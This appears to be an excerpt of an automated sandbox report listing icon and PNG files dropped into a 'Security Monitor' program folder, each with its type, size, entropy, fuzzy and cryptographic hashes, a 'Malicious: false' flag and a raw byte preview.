SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-MOF9G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.907302157036138
Encrypted:	false
SSDEEP:	48:+BfZk7WDHWwgHz/8EKnha1Za+Wt4UhU6XkfAsq6BfyTLDJa8LaMahaavC:ykCrFEZ1k+Wt4UG54sqU6TJaoaMahaa
MD5:	E6EB914C76409FE1F3D53E3C181CC9D9
SHA1:	36A34D8F71B146A39A68F7C0AB02A566FCA24A85
SHA-256:	060DFC41C4D3CCEFA3FD8E104302B42408DA7F54CA13096ED7836EF57C5B4D6D
SHA-512:	7EA5748DF3C9229E166AC5578A23C56FEFC3E395A53D24305FB39D909F1F5ED5193A5F349824890C31D0AD90F7A6A574184A5E0E52C4BA83D868C71B94BB8B87
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................................................................................................................................................................................................................................................[...................................................................................[...................................-..................................................................................................-......................................................................................................................................................[...........................................................................................................[.............................................................Q..'.....................*..................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-NBAFM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-NF1DG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.673387955380768
Encrypted:	false
SSDEEP:	96:Q0YV+XQJt9CeeTQLvNDg9m8nlVlurzJW37a5Mm9bYHEh:9YxCeQQ5DgM8nlVgr9W3emm9bYHEh
MD5:	ECDF723831AEFF58D496FC70C8283BF6
SHA1:	F4FAC6B07305CFB612625391FC50333071665167
SHA-256:	97D0CF1DB2088A9D3EDDE44EF4BBE8731C82FE8539C89BB45A72E9F131BDCE19
SHA-512:	B7FCDCF49BE8507950EFE02890BE516A99BACE7DAB1D6571DF4037C95011491944AE107EE5E507BFDAF342048264AA623E44AAE66824088333DC343051734866
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................6...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...6.......:...L...U...N...M...N...Q...T...X...]...b...f...j..!n.."q..#s..$s..#s.."q..!n...j...f...a...]...X...T...Q...N...N...U...L...:...:...X...F...@...?...?...B...E...I...N...S...W...[...^...b...c...c...c...a...^...[...V...R...M...I...E...B...?...@...F...X...:...;...U...D...A...@...@...A...C...F...J...M...P...S...V...X...Y...Z...Y...X...V...S...P...L...I...F...C...A...@...A...D...U...;...<...V...F...C...B...A...@...A...C...E...H...J...L...N...O...P...P...O...O...M...K...I...G...E...C...A...A...B...C...F...V...<...=...W...G...F...C...B...A...@...A...B...C...A...B...D...G...H...H...G...E...B...B...C...C...B...A...A...B...C...F...G...W...=...=...Y...I...G...F...D...C...B...A...B...>...5...1\|..5...>...C...C...?...6...1\|..5...?...B...A...B...C...D...F...G...I...Y...=...>...[...K...I...I...G...G...D...C...C...D

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-OA0RJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-PBDSP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.977825738278547
Encrypted:	false
SSDEEP:	96:hszWWWWWWWWWWWWWWWWWWWWWWWWWWWWxDrsAC/nqfyS:hszWWWWWWWWWWWWWWWWWWWWWWWWWWWWF
MD5:	013FF196FE6FA64188221F539A0C75FA
SHA1:	167852F22EEC0C7CD621ECB343DF0F05A855343E
SHA-256:	27B388961D008A5B3085B27942F398021EC73D57549EA62EFF9D1D9542A8C4AD
SHA-512:	046BE975703A10D75ED67D7C71EC87E63F2FD1CE8915521BD30629B6A4A06E3D10EA646B4ADE10F2D8ECC9297FB5165741E1AD4BDB961669CE66E19B80EBCE61
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................\|...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...}...............y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y.......\|...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...}...v...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...v...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...r...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...o...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...m...n...n...n...n...n...n...n...n...p.....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-Q9CC4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	2.907368134642011
Encrypted:	false
SSDEEP:	48:WRkPCxmKeaeee6Sz1WDl2bbkVmB4g7mGpzSl:0xmKfSz18C+wQl
MD5:	5738301E256B421DA693EFD4DC523727
SHA1:	18C0624ED82BA03C8A1FBDB720F47DAEE5A694E3
SHA-256:	67CD0A812DBCB3FAC6D87A01EF134D66937DA8166602854CB6FC01DA7A94388D
SHA-512:	75E6B019DBBA805982A4168D17FEB46DFF8C832DA1BA0A6B3C131725FB0D0ECD598532576620A086867EE679486819FB0332F25597E9FC1B42454E846B3EC84D
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ............................................................................................................................................................................................G.......................................................................5...............................................................U...........................................(...........................................................................................u...........................0...........................................................................]...............................}...........5...................................................................................:...........................................................................................................................................................................................................~..................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-S9N3N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	476
Entropy (8bit):	7.439177858532215
Encrypted:	false
SSDEEP:	12:6v/7iFaKslEOmLWhwS6ANwTrK7GqrOGZdM0Rtc:7aLlCWhP2fqrOLMtc
MD5:	6591C6A99B1C83E8E82DFBC47DB14D09
SHA1:	391F976F86FDA9E1DDA177B835E38BDEB4916F63
SHA-256:	B6EECDBD6BE6362A75FD90B6E8B322EF64CAFCF9AB207411DAAA255C88E50572
SHA-512:	D10B15A84A63C6C6BAAE451363C60DEC05C39BF7559CB26A205B800EAC5E40271DB17C3A49AA2BBC2FF25FF7FC2FB32AB7D0521BE071B18FFF91CF18DFC80C08
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....IDATX...+Cq....Y...$b\xO..R".z#g....BK.9..6.6.a.Vl...(/M..b.ll4g...su....{^.2..y.4I@.......k....Q...u..$..l.n....\|....\|)h...N..F...WUY..\.p0u0j.@.....0..n;,s%.I.,U.'..o...O.1.MM0...&...J\X./....S...x.......f...d....'_.O.r..A..m.[(..a'.#.?....Z.80.."...D.>.5.3.>...b.P\|.T...'...i/l..B....A.:...<G!p...X. ......(.......*...T!..;.=.(......V..V...N...........B..n..W....h.0.po6.9.e.=+..$..@t..R\|.).>>....~........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-UMLKQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.532691390134044
Encrypted:	false
SSDEEP:	96:nY99Q99TqqeqQEqqeqQ4q0AqPwqKzj05pjskYoE6cCLa5v8XrimfI:vqqeqQEqqeqQ4q0AqPwqKzj05pjxzBaL
MD5:	EA7CF6E021F69BF2044DC239F9875D65
SHA1:	69699CA689463AC506D522CB95EA2507EE9D59F9
SHA-256:	524AE1533708F5B47C73B4513662DAE775303FC2EF5D39B238D139C18864D24B
SHA-512:	019AE06EA6F6CA327465EEBCBF54055CE833B5D5C1BB79AF89EE26351B088BB11E8E1E9544563FC663939D6D25DD2314BE208BDC0AFD6699741103E4C57CA090
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................................................................................................................................................................................................................................................................5y{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c...5y............../..4..:..A..J...S...\...f...p...w..............................y...o...c..Y..P..G..@..;..3..............3..<...B...C...C...E...J...J...J...J...J...E...C...C...C...C...D...I...J...J...J...J...I...C...C...C...C...B...?..0..........;...G...I...I...I...I...K...Q...Q...Q...Q...Q...L...I...I...I...I...J...P...Q...Q...Q...Q...P...J...I...I...H...A..5...........<...J...O...I...I...I...I...K...Q...Q...Q...Q...Q...L...I...I...I...I...J...P...Q...Q...Q...Q...P...J...I...I...B..3...........<...J...Q...O...I...I...I...I...K...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-UN8L1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0497425098377073
Encrypted:	false
SSDEEP:	48:lLkTTTTTTTTTTTTTTTTTTTuTTTTTTTTTTTTTTTTTTTTTTTTTT/TTTTTTTTTTTTTt:J4Osj4
MD5:	BF35CDB2F5E57DDFC543AF37943A1077
SHA1:	0CF4E53B9B623BEF1E52BDEFCD31D155EAA4C9C2
SHA-256:	82803689C06BF4D08AA1852D2C5CD3CE08258C828F12DF85C56BB6FC21A8E835
SHA-512:	60CC6A06BD361CFD73D696717225CDB3B57278840606558D1B65390B531A590BDF08B2CB147B3159529DBB30D5C953C693E663D7E589B1E03756121EC3040199
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................$$.........$.......5...<...C...G...K...O...S...S...P...N...K...E...>...7...0...#.......................................Q..........................................................................................................T...............\|...................................................................................................................\|..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-VG8HL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.433906899003064
Encrypted:	false
SSDEEP:	48:FYv/RQcs//cF///cPG/////cP5Q//////cPQ////////ce///////cE4/////c3Q:uv/RdBmTBVlbaMeExLKwePaSO
MD5:	5B44B02CBAC63F77EDFDB9C6B685AD91
SHA1:	D8592C8C56F4E6DE68835268459472F24362A9CD
SHA-256:	9CD7273F90F5F7C4BD2003695920A551B204A2F73690D6B0918323E2649DD15A
SHA-512:	F0D33196CE43A5D599D271E1176A5A76FD09B271A3B44810CD9DE9310FE4EF57EA1D71918F6B596C1AB42755C890B61D5EF49EBDDE72D5AC879C137B497E83E6
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................L]..LY.MY..........................................................................9../9..-8.2....O_..MY..MZ..MZ................................................................................................./9../9..-7..-8.2NY.XMZ..MZ..MZ...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\linkedin.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.4394112066038
Encrypted:	false
SSDEEP:	96:JfMeD5/LLxul//e//O//5UtkRU3sovxWlDoq+ESjoHAICy:Jf5D5vxul//e//O//2tk6s00lx+Eqog0
MD5:	539F181408594BE8AB8295972C4235BE
SHA1:	692665445CF08589D98C943956CCFAF537B94C50
SHA-256:	4DE87763921B6DC43B630BDEB41C7CFB81290DCBDA2E1F3E4B29ECE0A364EFF7
SHA-512:	40E4FBF36D482EB2A1F21DA82973A06E209BBCB4FB90091B21BC750A0BF544F4825D54F269D785B18F6CC2708EE5CAE664A8E98197DB84AB210991C9A844E765
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..........................n...n...q...v...w...v...w...x...x...w...w...w...v...w...v...w...v...w...w...w...v...w...w...x...w...v...w...w...u...q...n...n...n...w.......{...y...y...x...z...z...y...y...y...w...x...x...z...y...x...y...y...x...x...x...y...x...z...x...z...{.......w...n...s.......t...r...r...s...r...r...s...s...r...r...r...r...r...q...s...q...s...s...s...s...r...t...s...s...r...r...r...r.......s...y.......s...r...t...s...u...u...s...s...t...u...u...u...t...s...s...s...u...u...s...u...t...t...s...t...t...s...t...u.......x...z.......w...v...v...u...u...w...v...v...u...v...u...v...w...v...u...t...u...u...u...v...w...u...u...v...u...v...u...v.......y...{.......v...w...v...v...w...x...v...x...w...x...w...u...v...u...w...u...u...u...v...x...v...w...v...v...x...x...x...w.......z...\|.......x...y...y......................{...y....P...................O..x...x...z...y......................x...z...y.......{...\|.......{...z...z......................z

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	476
Entropy (8bit):	7.439177858532215
Encrypted:	false
SSDEEP:	12:6v/7iFaKslEOmLWhwS6ANwTrK7GqrOGZdM0Rtc:7aLlCWhP2fqrOLMtc
MD5:	6591C6A99B1C83E8E82DFBC47DB14D09
SHA1:	391F976F86FDA9E1DDA177B835E38BDEB4916F63
SHA-256:	B6EECDBD6BE6362A75FD90B6E8B322EF64CAFCF9AB207411DAAA255C88E50572
SHA-512:	D10B15A84A63C6C6BAAE451363C60DEC05C39BF7559CB26A205B800EAC5E40271DB17C3A49AA2BBC2FF25FF7FC2FB32AB7D0521BE071B18FFF91CF18DFC80C08
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....IDATX...+Cq....Y...$b\xO..R".z#g....BK.9..6.6.a.Vl...(/M..b.ll4g...su....{^.2..y.4I@.......k....Q...u..$..l.n....\|....\|)h...N..F...WUY..\.p0u0j.@.....0..n;,s%.I.,U.'..o...O.1.MM0...&...J\X./....S...x.......f...d....'_.O.r..A..m.[(..a'.#.?....Z.80.."...D.>.5.3.>...b.P\|.T...'...i/l..B....A.:...<G!p...X. ......(.......*...T!..;.=.(......V..V...N...........B..n..W....h.0.po6.9.e.=+..$..@t..R\|.).>>....~........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\messagerie.orange.fr.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\my.screenname.aol.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\myspace.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.713510909371912
Encrypted:	false
SSDEEP:	48:+bQZkzhN60+qAWGgEoP30eRH4VAIEftmtCCPV7VrllypoC:z6N6/WGChsKUtHVH4poC
MD5:	9D7DB8AFD191BC67C9E410619010B1CB
SHA1:	19B0D0D72B3656FEE507E633739CF71B3FD642E9
SHA-256:	1A27BB476C1E83AFF622369138CA27B866B6D7865A35E021A0985FA3CCB023A3
SHA-512:	98D3105521E6E5625FF8E822A327455624395347C5CB5736720164078842E84411531BE03C3C59166DA8F5EB3A682EA5D0BCF6F74C97E9DE61EE4505BF19FDD2
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ......................................................................................................................................................................................................................................................................................................D...C...B..A...@...@...?...>...=...=...<...;...:...:...9...8...8...8...8...8...8...8...8...8..8...8.......................E...D..F...P...R"..V'..U&..T&..S%..S$..R$..Q#..P#..O"..N"..M!..M!..L ..K...J...I...H...F...C...@...9...8..8...................E...G...X'..X(..X(..W'..V'..U&..T%..S%..R$..R$..Q#..P#..O"..N"..M!..L ..L ..K...J...I...H...G...F...E...9...8...................F..S!..Z)..Y)..X(..W(..W'..V&..U&..T%..S%..R$..Q$..Q#..P#..O"..N!..M!..L ..K ..K...J...I...H...G...F...@...8...................G...V%..[..Z)..Y)..X(..W'..V'..V&..U&..T%..S%..R$..Q$..g...X..X..X..X..X..X..X..g...I...H...G...C...8...................H...\+..[..[*..Z)..Y)..X(..W(..W

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\odnoklassniki.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.673387955380768
Encrypted:	false
SSDEEP:	96:Q0YV+XQJt9CeeTQLvNDg9m8nlVlurzJW37a5Mm9bYHEh:9YxCeQQ5DgM8nlVgr9W3emm9bYHEh
MD5:	ECDF723831AEFF58D496FC70C8283BF6
SHA1:	F4FAC6B07305CFB612625391FC50333071665167
SHA-256:	97D0CF1DB2088A9D3EDDE44EF4BBE8731C82FE8539C89BB45A72E9F131BDCE19
SHA-512:	B7FCDCF49BE8507950EFE02890BE516A99BACE7DAB1D6571DF4037C95011491944AE107EE5E507BFDAF342048264AA623E44AAE66824088333DC343051734866
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................6...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...6.......:...L...U...N...M...N...Q...T...X...]...b...f...j..!n.."q..#s..$s..#s.."q..!n...j...f...a...]...X...T...Q...N...N...U...L...:...:...X...F...@...?...?...B...E...I...N...S...W...[...^...b...c...c...c...a...^...[...V...R...M...I...E...B...?...@...F...X...:...;...U...D...A...@...@...A...C...F...J...M...P...S...V...X...Y...Z...Y...X...V...S...P...L...I...F...C...A...@...A...D...U...;...<...V...F...C...B...A...@...A...C...E...H...J...L...N...O...P...P...O...O...M...K...I...G...E...C...A...A...B...C...F...V...<...=...W...G...F...C...B...A...@...A...B...C...A...B...D...G...H...H...G...E...B...B...C...C...B...A...A...B...C...F...G...W...=...=...Y...I...G...F...D...C...B...A...B...>...5...1\|..5...>...C...C...?...6...1\|..5...?...B...A...B...C...D...F...G...I...Y...=...>...[...K...I...I...G...G...D...C...C...D

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\qqzone.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	2.907368134642011
Encrypted:	false
SSDEEP:	48:WRkPCxmKeaeee6Sz1WDl2bbkVmB4g7mGpzSl:0xmKfSz18C+wQl
MD5:	5738301E256B421DA693EFD4DC523727
SHA1:	18C0624ED82BA03C8A1FBDB720F47DAEE5A694E3
SHA-256:	67CD0A812DBCB3FAC6D87A01EF134D66937DA8166602854CB6FC01DA7A94388D
SHA-512:	75E6B019DBBA805982A4168D17FEB46DFF8C832DA1BA0A6B3C131725FB0D0ECD598532576620A086867EE679486819FB0332F25597E9FC1B42454E846B3EC84D
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ............................................................................................................................................................................................G.......................................................................5...............................................................U...........................................(...........................................................................................u...........................0...........................................................................]...............................}...........5...................................................................................:...........................................................................................................................................................................................................~..................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\twitter.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.532691390134044
Encrypted:	false
SSDEEP:	96:nY99Q99TqqeqQEqqeqQ4q0AqPwqKzj05pjskYoE6cCLa5v8XrimfI:vqqeqQEqqeqQ4q0AqPwqKzj05pjxzBaL
MD5:	EA7CF6E021F69BF2044DC239F9875D65
SHA1:	69699CA689463AC506D522CB95EA2507EE9D59F9
SHA-256:	524AE1533708F5B47C73B4513662DAE775303FC2EF5D39B238D139C18864D24B
SHA-512:	019AE06EA6F6CA327465EEBCBF54055CE833B5D5C1BB79AF89EE26351B088BB11E8E1E9544563FC663939D6D25DD2314BE208BDC0AFD6699741103E4C57CA090
Malicious:	false
Reputation:	unknown
